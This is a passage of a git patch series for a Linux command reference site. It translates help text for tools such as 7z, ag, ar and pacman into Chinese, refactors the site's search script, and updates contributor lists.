zeImqUj>5I@9@@t!f*aj_{2}-;KvJ{R&W_rJ%xVyB^o})S2baG$5O!LGzQ9x%9&#v& z1|kELl97aLQWT{b0UIHc;YRJ!`{33XZ_5_vU~gj&-L>nNBlzCYM(rN0zyNS-PX)C} zk)58-&3*!Wd)Gxr3=ux915n|DxE^ZhY|UXnw^Dd6KF5H2M52YDSBBOVM#Y16HAXoN zVt0Z!>_UYJVnstqg<_V5vXS0n5Pq+XdM!e}24sAcg+Y@frOi! zhmfd2Snq<pJ8qhVVy8jvKaf4W9e8@_^tlOQYFAZ9IiEy}*ju*=;9zQ&B3 zND;;An`<}h7I(9}zMuowIqf-r6(Lvnb9h>>?M~&@`U74YS|_AYWOYBF*JCH_atB5t z7_vJ8O?(qw6Fm|k459L?-dB+xZj}gYaX0dB=t&VL5f**k+ZNlD+j=}aJO(^cEfOwJ zE&44VTXtNu_MY|x6Ov_$sc`60smSd=5R)5_tbmG>FqLU{Ua|W``$VtV1p%X!O%PdYJG`$ee*jRuuEXSKY#YwCUpPe`|Z$7yp?`>F@LlY0|P z={~0C&?wry>XhPUKLSCWtaZg;|a9sPIoe9a11x}+@#{$Svpd)uGr3hLS>(H&UG@JYZG)$9TGXob)*JY*KtF`ZdsU?vc`Z)a<-kwwl{| z(gIvX{e{Y=kUl(CIHpCCN@5x(8HdV9GfyxNtCU<4XBA{sl2)hHtktrB>1c2ve!+X8 zLdpl26U6mp>v-*0@q1p(v}6ADP2l)ovuU7u4X{gkY;^v{(ZwN5^t%Ew%B(obLa0IpZ#YuO9`irr-Bbt@$}`z$F|aI`wgQ!m`S34Mvcdv8JISh z?rHu0E zjU~24)$$h@84=eK(|d}e9?YcJ&rzsW!uWC@bwB=)Hgi)mWqcHw2JB^OB-}bn^hG8y zq-Y{(t?OH~eg>B1+g+RjvkUQEeM}k_O4tO)fCl|*w>wQTX}FY8esdroRpa#bQ^vd-oX34wS6GJxLC8W zvGjda(ku#TjDYuZ`ax}~H}DA>rQuu8&SvxOLzL0B|B=8}K*1T+j`<5+h?)-pT@0*( z@=RIr)c$u%8#y<*1)I(p`^t&Rm`+`g_ipq=Mr1v`Rn!FfNI&aY50@O5d@=B%tu9cx`-OZ4x zr2CoLn_4e2B1&XTA(USk+#MO@-*WH8sD{LbtqmhnGU;CH+x3ekn<-V`sl>72Op=iao zzQRDP6F~+Np+M|$P75*So|lxsWWK_uQ(OW(TMu$Ed?1d|*_Uu?nIW8rRC@KPxC)Y( zRMPnZ?d{BYXPy;rkCK8VUbXLh6sKQ^>mue2f4A14#e@3qFDbzXTx(|Ie``BrOE=zs^HJK!n*q!2CaB6v6L* z{^G%}KiB-%J5(Oj{~m$(H4plKA4C876hdi*D**h4=p?P<3IT!h;m-?FMwRLk0zw!< zMqEVQ6Y_KozL`N{E$|BRXpTYS81_3tc%WNVT5Kf3bkwv+Bmxv?CISKlR6#*7ZE!G_ z4Sl=T4~pq5)$bz`PetL^SLX+P!?|nO3W|xYiNFb9c9MDhZPTy%tckZAM%**`qA zeYSr%^k28Ui3o%=@vEa;d-or#Kvy7Z+&^5be=TaB63jbh7HfHuuH~!DKLrm~KKAB6k;{W3<0e=Tb6B6kEV7xE@0S|4S zhHrZO9~&ijZtoC)c>l@xC-JVp8o{Lmhj0Jfyl9Pu(+B^VCH~je{iXr$= zLBW`|X$=~qX`62A!9E!T%8ub0`8qE`_l^ZTy-2%0V;%ZI0!P<3!W@F2a&Qja1Wkms zOYZZ4T7T;!d6O`fxnBFMz35&%J;{;L^0D(hHg0)t1XtD^CTMZe%@bwn z=HC#yGHr@8dKzXFvuxU~M;J_cz9RNgn7y(yo-(UL!os1mb`rr1RbwlYx$yzOz8RwU zZ+w{^`Fl5>691LB=j-DEgVISj67BC5sQR&wa_LsNUUe~ev3aaOz`CHnz7MQqQsCpB z_40~CIaDR08!y0fV^&S+rE*?#{Kvo9A7c*0-?G2q1uui_l1Tj@wkl4Vry5?s_b4!Z5}x4hg$VW$eF1Ep1gOOo|MCTzW&?*(%4s zfmrLpu5>oDx|XSrc$Lr@SjxsXh)(B8@bRX(zfnS)8G!%?>tA4qwhjw?wBWb>Tsn;tb17yLFbfOVPp9t!QlJJP#OC zLp0zw#VRj-NqtM2w7oWLW#J%qlCZR{@)qo`9WP}#~e8E?b``!|7-337K;6tg%_N@H?4b@Pd3ets|g3uL$R@hdx@pk z=n~T~Q!>}jJ#y!O(UO%2itQrOONVBG{Lk5>QI~bF?Fj~XP7Js<6T5PfRS-u`{CyY- zQlYp!|8)_Y$n=FByle?wPP?$ZwPTWS{@|~Mq>hdk+h)t1s?*=&jHR5Xorif)0cp}d z|6b#7o$#+8cq@XzJ$J>Ts^&iccV$L!1g(t{1Mk|ual8M^UxIQm!7Sy#J%gd*Z%yT| zA7CNlp=q9OEC0RS{$CIIGnu>t80wRjPwt`EhlyP-qfEG(Mt--fN8gjaomBl|UUlk4 zG0?4xQu(J7&-(-pGPpm9-D&wn}Er#t>-7Jqkp zJR2xtM1&Q`&X*p}6}y?)#@7R(H^jGxL7|@dNx`g_HIEIyEpVk4Wm4$PR}F|CLpjNN zQn3YwOO{nP-4^f1y)@)bSL50)B!&uQ+;=#G%U%aLz1Uj%=v82td1g{g8-NHz`t(%X_%6ps#iLE^RKBWXX z9!}ScWnIXRBSsT)Rk;PHXc;aA)~M#Zy%nSY1MZfrP)T17rB3!iJ;*FyH(u|Ww!n~& ze82AFxaQ%HVDfZS!oq)n@1Xj3>-qmRz@RCH-wA;=?#_ywOXenLKNsHHR<&4i-z}Q; zdUODDgl$EsVc{^fEmAa&gOPV0z$@+1e79`7GuWf0TgD*QsI5gk^SZ@8&Y`wwk!DcW z`Nv*-ieN>Oppc^FgMO6c@}Ac8z7J)%k1_&Lv|SAlhHmgE|JD8vQ@eJPlyaGljozNL zns9iIQ^oM7vK%|`*ZuC-RGQ8lYM^3Zs58tHyB^t`xBDau9}VIVJOz#ti1$91y4_1@=;_WSpw&x?aS)LC{I>)Rr`M$<2lIwGK2Zf9lXX1C_pg}n1MJ_z*!Tq$7*eZ&+K_cgq(_S z&__sJc>djZF{DmG;21j!0z+=DD>z1 zjer17KtHY#za4l%mV8FMF2H8D4DxwI5rAWC-V83v3hY)>62La}+Dn;sUcT)w5xo6z zc@-DH-v+uK4T6WEkxy67`gDTl!{vF|4c~iG-D&t-b)2PRmGf!r(}MoeAwNIpW=2UX zhr{VUIy zKisCNg*$}gJui)YL-)@4>PL&h=bvw&1EH-sEu-;?PgPt4J)jGO&u)&7owdFT(s?vc zJ=<`@u^kqvtgBn8t+OKuZSz&@K%V>{s;fHRr7-mcZuyOxsK(gy$hC zL5x2@YPU@2*ftedvz&XSkkIvUlo3<#CLeV!Hcbe$g(^{qf;Zr%ZkU9?-?kIWS9j0h z+3h8=&EK*e$sj7!pf3HQlL87mdwt$`BVlgYO=Ro}pKQ5iET^J|m z-Gu~%-hw855WaI8Ah4}KZ~nm|_v@m=XH)X+xV)N~uzw5bolcC-DD>wNque~YWyLVM|7m|% zGhq>u$&909MW!+27**)V?7+nJhb_~|WWcLy%vHzp`RE8Ke%JFN1DJU4?HCpI$Zek(v;$Ks($vTniR>MQ>soQ?CpDf~Gn z4bgq-fXn;`W>fmhL(kG(M_aKEZEDOi%@uFIs{wEf+H_$(0m{m^lNHZ2Mk zR?(Ed0NqFD#X~IcYA#z(vUuT{f>#lFl=+w4AE2&-*q&NOX}V868`f$iK$AR?waRvu z?ESP6@b=Q1Xu*Bb?JWpoO#DShUN|iL#IWP zu+Tpt@5|2nTj*O};5e7j{0y7{X$IDz1|*c~k<2$L7Js03h0=+V%AweE80(^d{?qM?;mtje|F3uN?+h86^X;h8j?s>DkL9ByvnAYjqb zjQqXsq-I9UuR+>FG*5BGI#&vuOW&u}cpi^l{)R+R>IE7?{lVIbV7o}VVg#7bH85hM zXth>+$>mn*gbVIJD?BMK$ir@3Y5N06X`P@wM%w7qS+JW|wFb6u$K|(Sz^FBV^2cUu zu<_nQ24|jkzP(m_5lvNM2n``#v3c!qahb#C+J!y;5J$aoF@un4oh&+ITILq)rDJJibV*uw(QUq(g1uvA}dn% zMkQPvxm9+Q@aVn{bS%V>jPuM8U?{OpS)D3p!cp}k2e$f}uGy3|%9=idU10#Sa2iR! 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Content-Transfer-Encoding: 8bit * 添加 Pacman 指令 #224 * 补充 7z 简体中文网站 * 添加指向自由软件基金会的链接 * 翻译grub2-mkconfig.md * 增加 7z help 信息翻译 * 重新翻译 选项 一节 * 增加参考信息 * 简化文字 * 删除一些空格 * 重写 选项 一节 * 修复格式问题 * 使用本地 fdisk 指令重写文档选项章节 * 修改格式以符合其他项目要求 --- command/7z.md | 71 +++++++++++++++++++- command/ag.md | 98 +++++++++++++--------------- command/alias.md | 11 +--- command/apropos.md | 8 +-- command/ar.md | 134 ++++++++++++-------------------------- command/date.md | 6 +- command/diff.md | 22 +++---- command/exit.md | 2 +- command/fdisk.md | 35 +++++++--- command/fgrep.md | 14 ++-- command/git.md | 87 +++++++++++-------------- command/groupmems.md | 42 ++++++------ command/grub.md | 3 + command/grub2-mkconfig.md | 12 ++-- command/pacman.md | 50 ++++++++++++++ 15 files changed, 324 insertions(+), 271 deletions(-) create mode 100644 command/pacman.md diff --git a/command/7z.md b/command/7z.md index d466abe0e43..1d4d88c4d2c 100644 --- a/command/7z.md +++ b/command/7z.md @@ -42,7 +42,74 @@ apt-get install p7zip-full -y 7z l text.7z ``` -## 官网 +## help 信息翻译 + +```shell +使用方法： 7z <命令> [<开关>...] [...］ + +<命令> + a : 添加文件到存档 + b : 基准测试 + d : 从存档中删除文件 + e：从档案中提取文件（不使用目录名）。 + h：计算文件的哈希值 + i : 显示支持的格式信息 + l : 列出档案的内容 + rn : 重命名档案中的文件 + t : 测试档案的完整性 + u : 更新档案中的文件 + x : 提取完整路径的文件 + +<开关> + --：停止开关解析 + @listfile : 设置包含文件名的列表文件的路径 + -ai[r[-|0]]{@listfile|!wildcard} : 包括归档文件 + -ax[r[-|0]]{@listfile|!wildcard} : 排除档案。 + -ao{a|s|t|u} : 设置覆写模式 + -an : 禁用档案名称字段 + -bb[0-3] : 设置输出日志级别 + -bd : 禁用进度指示器 + -bs{o|e|p}{0|1|2}：设置输出/错误/进度行的输出流 + -bt : 显示执行时间统计 + -i[r[-|0]]{@listfile|！通配符} : 包括文件名 + -m{Parameters} : 设置压缩方法 + -mmt[N] : 设置CPU线程的数量 + -mx[N] : 设置压缩级别: -mx1 (最快) ... -mx9 (超强) + -o{Directory} : 设置输出目录 + -p{Password} : 设置密码 + -r[-|0] : 重新搜索子目录 + -sa{a|e|s} : 设置存档名称模式 + -scc{UTF-8|WIN|DOS}：设置控制台输入/输出的字符集。 + -scs{UTF-8|UTF-16LE|UTF-16BE|WIN|DOS|{id}}：设置列表文件的字符集。 + -scrc[CRC32|CRC64|SHA1|SHA256|*] ：为x、e、h命令设置哈希函数。 + -sdel : 压缩后删除文件 + -seml[.] : 通过电子邮件发送档案 + -sfx[{name}] : 创建SFX档案 + -si[{name}] : 从stdin读取数据 + -slp : 设置大型页面模式 + -slt : 显示l（List）命令的技术信息 + -snh : 将硬链接存储为链接 + -snl : 将符号链接存储为链接 + -sni : 存储NT安全信息 + -sns[-] : 存储NTFS备用流 + -so : 向stdout写数据 + -spd : 禁用文件名的通配符匹配 + -spe : 消除提取命令中根文件夹的重复。 + -spf : 使用完全合格的文件路径 + -ssc[-] : 设置敏感的大小写模式 + -ssw : 压缩共享文件 + -stl : 从最近修改的文件设置存档时间戳 + -stm{HexMask} : 设置CPU线程亲和力掩码（十六进制数字）。 + -stx{Type} : 排除存档类型 + -t{Type} : 设置存档的类型 + -u[-][p#][q#][r#][x#][y#][z#] [!newArchiveName] : 更新选项 + -v{大小}[b|k|m|g] : 创建卷册 + -w[{path}] : 指定工作目录。空的路径意味着一个临时目录 + -x[r[-|0]]{@listfile|!wildcard} : 排除文件名。 + -y : 假设所有的查询都是肯定的 +``` -更多安装使用方法可以访问官网学习：https://www.7-zip.org/ +## 官网 +更多安装使用方法可以访问官网学习： +或者可以访问简体中文网站： diff --git a/command/ag.md b/command/ag.md index 0471b3e3d11..47e29043a2f 100644 --- a/command/ag.md +++ b/command/ag.md @@ -5,8 +5,12 @@ ack 的升级版，C语言编写，更快更人性化 ## 补充说明 -**ag命令** 它比ack快一个数量级。它会忽略 .gitignore 和 .hgignore 中的文件模式。如果源代码库中有您不想搜索的文件，只需将它们的模式添加到 .ignore 文件即可。命令名称比 ack 短 33%，并且所有键都在 home 行！ -[Github-参考链接](https://github.com/ggreer/the_silver_searcher) +> 摘自 项目的 Readme.md + +- 它比ack快一个数量级。 +- 它忽略了你的 `.gitignore` 和 `.hgignore` 中的文件模式。 +- 如果你的源码库里有你不想搜索的文件，只要把它们的模式添加到一个.ignore文件里。(*cough* *.min.js*cough*) +- 这个命令的名字比ack短33%，而且所有的键都在主行上! ### 语法 @@ -18,79 +22,67 @@ ag [可选项] 匹配模式 [路径...] ### 选项 ```shell -Output Options: +输出选项: --ackmate 以 AckMate-parseable 的格式显示结果 -A --after [LINES] 显示匹配行之后的行（默认2行） -B --before [LINES] 显示匹配行之前的行（默认2行） --[no]break 不同文件中匹配到的内容新建一行显示（默认开启） - -c --count 只显示每个文件中匹配到的数量 - (This often differs from the number of matching lines) - --[no]color Print color codes in results (Enabled by default) - --color-line-number Color codes for line numbers (Default: 1;33) - --color-match Color codes for result match numbers (Default: 30;43) - --color-path Color codes for path names (Default: 1;32) - --column Print column numbers in results - --[no]filename Print file names (Enabled unless searching a single file) + -c --count 只显示每个文件中匹配到的数量 （通常与匹配行数不同） + --[no]color 在结果中打印颜色代码（默认启用） + --color-line-number 行号的颜色代码（默认值为：1;33）。 + --color-match 匹配结果的颜色代码（默认值为：30;43）。 + --color-path 路径名称的颜色代码（默认值为：1;32） + --column 打印结果中的列号 + --[no]filename 打印文件名（除非搜索单个文件，否则启用）。 -H --[no]heading 在每个文件匹配前输出文件名（默认开启） -C --context [LINES] 显示匹配行上下两行（默认2行） - --[no]group Same as --[no]break --[no]heading - -g --filename-pattern PATTERN - Print filenames matching PATTERN + --[no]group 和这些一样： --[no]break --[no]heading + -g --filename-pattern PATTERN 打印匹配PATTERN的文件名 -l --files-with-matches 显示包含匹配的文件名（不显示匹配的行） -L --files-without-matches 只显示不包含匹配项的文件名 - --print-all-files Print headings for all files searched, even those that - don\'t contain matches - --[no]numbers Print line numbers. Default is to omit line numbers - when searching streams + --print-all-files 打印所有搜索到的文件的标题，甚至那些不包含匹配的文件。 + --[no]numbers 打印行号。默认情况是在搜索流时省略行号。 -o --only-matching 只输出每行匹配的部分 - --print-long-lines Print matches on very long lines (Default: >2k characters) - --passthrough When searching a stream, print all lines even if they - don\'t match - --silent Suppress all log messages, including errors - --stats Print stats (files scanned, time taken, etc.) - --stats-only Print stats and nothing else. - (Same as --count when searching a single file) - --vimgrep Print results like vim\'s :vimgrep /pattern/g would - (it reports every match on the line) - -0 --null --print0 Separate filenames with null (for 'xargs -0') + --print-long-lines 在很长的行上打印匹配信息（默认：>2k字符）。 + --passthrough 当搜索一个流时，打印所有的行，即使它们不匹配。 + --silent 抑制所有的日志信息，包括错误 + --stats 打印统计（扫描的文件、花费的时间等）。 + --stats-only 打印统计信息，不打印其他信息（与搜索单个文件时的--计数相同）。 + --vimgrep 像vim的:vimgrep /pattern/g那样打印结果（它报告每一行的匹配结果） + -0 --null --print0 用null分隔文件名（用于'xargs -0'）。 -Search Options: +搜索选项: -a --all-types 搜索所有文件（包括隐藏文件） - -D --debug Ridiculous debugging (probably not useful) + -D --debug 可笑的调试（可能没有用） --depth NUM 目录搜索最大深度（默认25） -f --follow 跟随链接进行搜索 - -F --fixed-strings Alias for --literal for compatibility with grep + -F --fixed-strings 为了与grep兼容，--literal的别名。 -G --file-search-regex 根据正则匹配搜索指定类型的文件 - --hidden Search hidden files (obeys .*ignore files) - -i --ignore-case Match case insensitively - --ignore PATTERN Ignore files/directories matching PATTERN - (literal file/directory names also allowed) - --ignore-dir NAME Alias for --ignore for compatibility with ack. - -m --max-count NUM 在一个文件中最大匹配的数量(默认: 10,000) + --hidden 搜索隐藏文件 （但遵从 .*ignore 文件） + -i --ignore-case 不区分大小写匹配 + --ignore PATTERN 忽略匹配 PATTERN 的文件/目录（也允许使用文字文件/目录名称） + --ignore-dir NAME 为了与ack兼容，--ignore的别名 + -m --max-count NUM 在一个文件中最大匹配的数量（默认: 10,000） --one-device 不跟随其他设备的链接搜索 - -p --path-to-ignore STRING - Use .ignore file at STRING - -Q --literal Don\'t parse PATTERN as a regular expression - -s --case-sensitive Match case sensitively - -S --smart-case Match case insensitively unless PATTERN contains - uppercase characters (Enabled by default) + -p --path-to-ignore STRING 在STRING使用.ignore文件 + -Q --literal 不要将PATTERN解析为正则表达式 + -s --case-sensitive 敏感地匹配案例 + -S --smart-case 不区分大小写匹配，除非 PATTERN 包含大写字符 --search-binary 搜索二进制文件 -t --all-text 搜索所有文本文件（不包括隐藏文件） - -u --unrestricted 搜索所有文件 (忽略 .ignore, .gitignore, etc.; - 搜索二进制和隐藏文件) - -U --skip-vcs-ignores Ignore VCS ignore files - (.gitignore, .hgignore; still obey .ignore) + -u --unrestricted 搜索所有文件 （忽略 .ignore, .gitignore, 比如：搜索二进制和隐藏文件） + -U --skip-vcs-ignores 忽略VCS的忽略文件（指的是 .gitignore，.hgignore；仍然遵从.ignore）。 -v --invert-match 反向匹配 -w --word-regexp 只匹配整个单词 - -W --width NUM Truncate match lines after NUM characters + -W --width NUM 在NUM字符后截断匹配行 -z --search-zip 搜索压缩文件中的内容 -File Types: -The search can be restricted to certain types of files. Example: - ag --html needle 结果输出到指定类型文件 - - Searches for 'needle' in files with suffix .htm, .html, .shtml or .xhtml. +文件类型: +搜索可以限制在某些类型的文件中，例如: + ag --html needle 结果输出到指定类型文件 + - 在后缀为 .htm、.html、.shtml 或 .xhtml 的文件中搜索“needle” -For a list of supported file types run: +有关支持的文件类型的列表，可以运行: ag --list-file-types 列出支持的文件类型 ``` diff --git a/command/alias.md b/command/alias.md index 77e5f2b173c..55e3337de27 100644 --- a/command/alias.md +++ b/command/alias.md @@ -12,10 +12,7 @@ alias [-p] [name[=value] ...] ## 主要用途 - 简化较长的命令。 -- 定义一个或多个别名。 -- 修改一个或多个已定义别名的值。 -- 显示一个或多个已定义别名。 -- 显示全部已定义的别名。 +- 定义、修改或者显示一个或多个别名。 ## 选项 @@ -117,7 +114,5 @@ A：运行cd依然会切换目录，运行ls依然会列出文件夹的内容； ### 其他参考链接 -[Linux命令详解：\[8\]alias创建自己的命令](https://jingyan.baidu.com/article/ac6a9a5e6738422b653eac01.html) - - - +- [alias(1p) - Linux manual page](https://man7.org/linux/man-pages/man1/alias.1p.html) +- [Linux命令详解：\[8\]alias创建自己的命令](https://jingyan.baidu.com/article/ac6a9a5e6738422b653eac01.html) diff --git a/command/apropos.md b/command/apropos.md index 9ba1c7166cf..9fb8d3c4f65 100644 --- a/command/apropos.md +++ b/command/apropos.md @@ -5,7 +5,7 @@ apropos ## 补充说明 -**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字，然后把结果送到标准输出。  +**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字，然后把结果送到标准输出。 如果你不知道完成某个特定任务所需要命令的名称，可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外，使用man实用程序和-k（关键字）选项，可以得到和用Linux apropos实用程序相同的结果（实际上是相同的命令）。 @@ -27,8 +27,8 @@ apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale -l, --long：不根据终端宽度缩减输出。 -s section, --section section：只查找指定的手册section。 -m system[,...], --systems=system[,...]：用于查找其它操作系统的手册页。 --M path, --manpath=path：指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。 --L locale, --locale=locale：apropos调用C函数setlocale来得到当前本地化信息，包括$LC_MESSAGE和$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。 +-M path, --manpath=path：指定从其它以冒号分隔的手册页层次查找。默认使用 $MANPATH 环境变量。这个选项覆盖 $MANPATH 的内容。 +-L locale, --locale=locale：apropos调用C函数setlocale来得到当前本地化信息，包括 $LC_MESSAGE 和 $LANG 。使用该选项提供一个locale字符串来临时更改本地化信息。 -C file, --config-file=file：使用这个用户配置文件而不是默认的~/.manpath。 -h, --help：打印帮助信息并退出。 -V, --version：打印版本信息并退出。 @@ -69,5 +69,3 @@ whoami (1) - print effective userid ```shell apropos -a emacs vi ``` - - diff --git a/command/ar.md b/command/ar.md index 6e5fb55f252..6b15af34b83 100644 --- a/command/ar.md +++ b/command/ar.md @@ -10,108 +10,54 @@ ar ### 语法 ```shell -ar [-]{dmpqrtx}[abcfilNoPsSuvV] [membername] [count] archive files... -Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin ] [member-name] [count] archive-file file... - ar -M [] [member-name] [count] archive-file file... + ar -M [ 以下内容来自 GNU ar (GNU Binutils) 2.40 版本指令 ```shell ---plugin

    - load the specified plugin +命令： + d - 从归档文件中删除文件 + m[ab] - 在归档文件中移动文件 + p - 打印在归档文件中找到的文件 + q[f] - 将文件快速追加到归档文件中 + r[ab][f][u] - 替换归档文件中已有的文件或加入新文件 + s - 作为 ranlib 工作 + t[O][v] - display contents of the archive + x[o] - 从归档文件中分解文件 +特定命令修饰符： + [a] - 将文件置于 [成员名] 之后 + [b] - 将文件置于 [成员名] 之前 (于 [i] 相同) + [D] - 将 0 用于时间戳和 uid/gid（默认） + [D] - 使用实际时间戳和 uid/gid + [N] - 使用名称的实例 [数量] + [f] - 截去插入的文件名称 + [P] - 在匹配时使用完整的路径名 + [o] - 保留原来的日期 + [O] - display offsets of files in the archive + [u] - 只替换比当前归档内容更新的文件 +通用修饰符： + [c] - 不在必须创建库的时候给出警告 + [s] - 创建归档索引 (cf. ranlib) + [l ] - specify the dependencies of this library + [S] - 不要创建符号表 + [T] - deprecated, use --thin instead + [v] - 输出较多信息 + [V] - 显示版本号 + @ - 从 读取选项 + --target=BFDNAME - 指定目标对象格式为 BFDNAME + --output=DIRNAME - specify the output directory for extraction operations + --record-libdeps= - specify the dependencies of this library + --thin - make a thin archive +可选项： + --plugin

    ' + const replaceHTML = `$1` + let name = json.n + let des = json.d + let reg = new RegExp(`(${keywolds})`, "ig") if (keywolds) { - name = json.n.replace(reg, '' + "$1" + ""); - des = json.d.replace(reg, '' + "$1" + "") || ''; + name = json.n.replace(reg, replaceHTML); + des = json.d.replace(reg, replaceHTML) || ''; } - - var rootp = this.root_path.replace(/\/$/, ''); - str = islist ? '$name$ - $des$

    ' : '$name$ - $des$'; + let rootp = this.root_path.replace(/\/$/, ''); + const str = `$name$ - $des$${islist ? listHTML : ''}` return this.simple(str, { - name: name, + name, url: json.p, - des: des + des }); - }, - /** - * [searchResult ] - * @param {[type]} islist [是否为列表] - */ - searchResult: function (islist) { - var arr = this.commands, self = this, i = 0, - page_size = arr.length, - arrResultHTML = [], - resultData = [], - show_list_count = islist ? this.page_size : this.query_size; - var nameArr = [], desArr = []; - if (arr && arr.length && toString.call(arr).indexOf('Array') > -1) { - for (; i < page_size; i++) { + } + /**搜索结果 + * @param {boolean} islist 是否为列表*/ + searchResult(islist = false) { + let arr = this.commands + const self = this + let page_size = arr.length + let arrResultHTML = [] + const show_list_count = islist ? this.page_size : this.query_size; + let nameArr = [], desArr = []; + if (indexOfCatch(arr && arr.length && toString.call(arr).indexOf('Array'))) { + for (let i = 0; i < page_size; i++) { if (!arr[i]) break; - var nIdx = self.isSreachIndexOF(arr[i].n, self.query); - var dIdx = self.isSreachIndexOF(arr[i].d, self.query); - if (nIdx > -1) { - var json = arr[i]; + const nIdx = self.isSreachIndexOF(arr[i].n, self.query); + const dIdx = self.isSreachIndexOF(arr[i].d, self.query); + let json = arr[i]; + if (indexOfCatch(nIdx)) { json.nIdx = nIdx; nameArr.push(json); - } else if (dIdx > -1) { - var json = arr[i]; + } else if (indexOfCatch(dIdx)) { json.dIdx = dIdx; desArr.push(json); } } } - nameArr.sort(function (a, b) { - return a.nIdx - b.nIdx; - }); - desArr.sort(function (a, b) { - return a.nIdx - b.nIdx; - }); + nameArr.sort(sortArray); + desArr.sort(sortArray); - resultData = nameArr.concat(desArr); - resultData = resultData.slice(0, show_list_count); - for (i = 0; i < resultData.length; i++) { - arrResultHTML.push(self.createKeyworldsHTML(resultData[i], self.query, islist)); - } - var elm = islist ? this.elm_search_result : this.elm_result; - elm.innerHTML = ''; - for (var i = 0; i < arrResultHTML.length; i++) { - var myLi = document.createElement("LI"); - myLi.innerHTML = arrResultHTML[i]; - elm.appendChild(myLi); - } - if (arrResultHTML.length === 0) { - var myLi = document.createElement("LI"); - myLi.innerHTML = '' + this.query ? '请尝试输入一些字符，进行搜索！' + '' : '没有搜索到任何内容，请尝试输入其它字符！'; - elm.appendChild(myLi); + const resultData = nameArr.concat(desArr).slice(0, show_list_count); + resultData.forEach(a => { + arrResultHTML.push(self.createKeyworldsHTML(a, self.query, islist)); + }) + + /** @type {HTMLElement} */ + let elm = islist ? this.elm_search_result : this.elm_result; + elm.innerHTML = '' + arrResultHTML.forEach((result, i) => { + const el = document.createElement('li') + el.innerHTML = result + elm.appendChild(el); + }) + if (!arrResultHTML.length) { + const noResultTipHTML = document.createElement("LI"); + const tipSpan = document.createElement("span") + const nullQueryStringTips = `请尝试输入一些字符，进行搜索！` + const undefinedQueryTips = `没有搜索到任何内容，请尝试输入其它字符！` + tipSpan.innerText = this.query ? undefinedQueryTips : nullQueryStringTips + noResultTipHTML.appendChild(tipSpan); + elm.appendChild(noResultTipHTML); } - }, - // 选中搜索结果效果 - selectedResult: function (type) { - var items = this.elm_result.children; - var index = 0; + } + /** + * 移动搜索结果的光标 + * @param {"up"|"down"} type 触发事件类型 + * @memberof Commands + */ + selectedResult(type) { + /** @type {Array} */ + let items = this.elm_result.children; + let index = 0; for (var i = 0; i < items.length; i++) { if (items[i].className == 'ok') { items[i].className = ''; @@ -146,78 +195,73 @@ }; }; if (items[index]) items[index].className = 'ok'; - }, + } // 是否选中搜索结果 - isSelectedResult: function () { - var items = this.elm_result.children; - var isSel = false; - for (var i = 0; i < items.length; i++) { + isSelectedResult() { + let items = this.elm_result.children; + let isSel = false; + for (let i = 0; i < items.length; i++) { if (items[i].className == 'ok') { isSel = items[i]; break; }; }; return isSel; - }, - init: function () { - var self = this; - var kw = self.getQueryString('kw'); - var timer = null + } + init() { + /** + * 设定搜索结果的 CSS display 属性 + * + * @param {string} [inputDisplay='none'] + */ + function setdisplay(inputDisplay) { + self.elm_result.style.display = inputDisplay || 'none' + } + let self = this; + let kw = self.getQueryString('kw'); this.elm_query.value = kw; this.query = kw || ''; if (this.elm_search_result) self.searchResult(true); this.bindEvent(this.elm_query, 'input', function (e) { self.query = e.target.value; - self.pushState() if (self.query) { self.searchResult(); } else { - self.elm_result.style.display = 'none'; + setdisplay() } if (!self.elm_search_result) { - self.elm_result.style.display = self.query ? 'block' : 'none'; + setdisplay(self.query ? 'block' : 'none') } else { self.elm_btn.click(); } }) this.bindEvent(this.elm_btn, 'click', function (e) { - self.elm_result.style.display = 'none'; + setdisplay(); if (self.elm_search_result) self.searchResult(true); - else { - window.location.href = self.root_path + '/list.html#!kw=' + self.query; - } + else window.location.href = self.root_path + '/list.html#!kw=' + self.query; }) this.bindEvent(this.elm_query, 'focus', function (e) { self.searchResult(); - if (self.query) self.elm_result.style.display = 'block'; + if (self.query) setdisplay('block'); }) this.bindEvent(this.elm_query, 'blur', function (e) { - timer = setTimeout(function () { - self.elm_result.style.display = 'none'; + setTimeout(function () { + setdisplay(); }, 300) }) // 输入Enter键 this.bindEvent(document, 'keyup', function (e) { + if (e.keyCode === 40) self.selectedResult("down"); + if (e.keyCode === 38) self.selectedResult("up"); if (e.key == 'Enter') { - var item = self.isSelectedResult(); + let item = self.isSelectedResult(); if (!item) return self.elm_btn.click(); - if (item.children[0]) { - item.children[0].click(); - } - } else if (e.keyCode === 40) { - // ArrowDown - self.selectedResult() - } else if (e.keyCode === 38) { - // ArrowUp - self.selectedResult("up"); + if (item.children[0]) item.children[0].click(); } }) - if (kw) self.searchResult(); } } - new Commands() - })() \ No newline at end of file From f44641a1293e532ffa63f0fbe1ff64171b44a189 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 26 Apr 2023 05:49:39 +0000 Subject: [PATCH 149/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 0cfcce49253..9bc6bbdf976 100644 --- a/README.md +++ b/README.md @@ -418,6 +418,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ernest + + 丛林意志 + 谈笑风生间 @@ -703,9 +706,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 七朔 - - 丛林意志 - 孤城落寞 From 5726845467164c38822b202293c3e293a4ac8dae Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 26 Apr 2023 05:49:40 +0000 Subject: [PATCH 150/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 61c1e260c93..648bd741ddc 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -66,6 +66,9 @@ ernest + + 丛林意志 + 谈笑风生间 @@ -351,9 +354,6 @@ 七朔 - - 丛林意志 - 孤城落寞 From 